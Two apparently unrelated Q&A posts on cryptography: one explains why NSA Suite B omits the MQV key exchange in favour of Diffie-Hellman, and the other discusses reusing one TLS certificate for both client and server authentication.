A first thing to note is that suite B is meant for interoperability: it is a deliberately small list of algorithms and features with the official purpose of being implemented everywhere. For instance, for elliptic curves, they only list two specific curves among the 15 described in FIPS 186-3. So we can assume that NSA included only algorithms which were already implemented in various systems and libraries, or stood a good chance of being implemented in the near future. Nobody uses MQV and nobody really intends using MQV in the foreseeable future...

Now why nobody uses MQV in practice is another question, and the answer boils down to the usual three: patents, uselessness and weaknesses. The "uselessness" part deserves an explanation: MQV is an authenticated key exchange in that it tries to combine the key exchange with a mutual authentication of both involved parties. This is neat, but does not map well to existing communication frameworks, in particular SSL. In SSL, the client and server are distinct roles; the client gains assurance that it knows the correct server public key through the server's certificate, but the authentication of the client, when applied at all, is separated from the key exchange (the client computes a signature with its private key, and the algorithm for that signature needs not be related to the one used for the key exchange).

Another viewpoint on the subject is that if a putative SSL client has a certificate with a MQV public key (assuming that use of MQV with SSL was formalized and implemented), then the client can use that certificate only to authenticate with SSL servers who uses MQV and happen to have a MQV key pair which uses the same elliptic curve. This is rather restrictive, and contrasts with the usual situation where the client has a generic signature certificate which can be used in many other contexts.

Interestingly, use of elliptic curve cryptography in SSL/TLS is defined in RFC 4492, published in 2006, after a long sequence of drafts. The first draft, from 1998, includes MQV-based cipher suites. But the second draft, in 2001, does not. In the first draft, MQV was used just like it was Diffie-Hellman, so without any actual security benefit. In that context, MQV was just a more complex way of doing DH, and, as such, was removed altogether. The alleged benefits of MQV over DH (even assuming that the benefits are real, which is what Krawczyk denies) are made void by the structure of the SSL/TLS key exchange. So why bother ? DH is slightly faster and has a less clouded sky with regards to patents.

Summary: Even without taking into account the weaknesses revealed in 2005 (a few months after publication of NSA suite B), the security advantages of MQV over DH are any good only in specific contexts which are rarely encountered in practice, especially if we notice that suite B is about interoperability, i.e. by definition not about proprietary closed scenario. Correspondingly, nobody does MQV (or when they do, they don't aim at interoperability). In the contexts where the notion of "suite B" applies, MQV tends to have no benefit over a simpler (and faster) Diffie-Hellman. This alone justifies NSA not including MQV in their "suite B".


Usage of same certificate for client and server authentication Let's assume I have a device that has both client and server applications running on it at the same time. The client application for example connects to a remote secure webserver (HTTPS) that requires client-side authentication. The device also offers an own secuer webserver (HTTPS).

I'm planning to use the same certificate for client-side authentication and for the device's secure webserver as this approach only requires having one private key. Is there any disadvantage in regard to security when the same certificate is used for both use-cases?

Given that a certificate is essentially used to authenticate some user, service or system  it is not uncommon that the same certificate is used as both client and server certificate on the same system or for the same service. A common use case is for example SIPS, i.e. SIP (VoIP) over TLS. Similar with SMTP typically the same certificate is used for server and client authentication when transferring a mail between MTA's (if client authentication is used at all).

  Is there any disadvantage in regard to security when the same certificate is used for both use-cases?

If the same certificate is used within different services running in different security restrictions (like as different users) then sharing the certificate and private key increases the attack surface for this private key.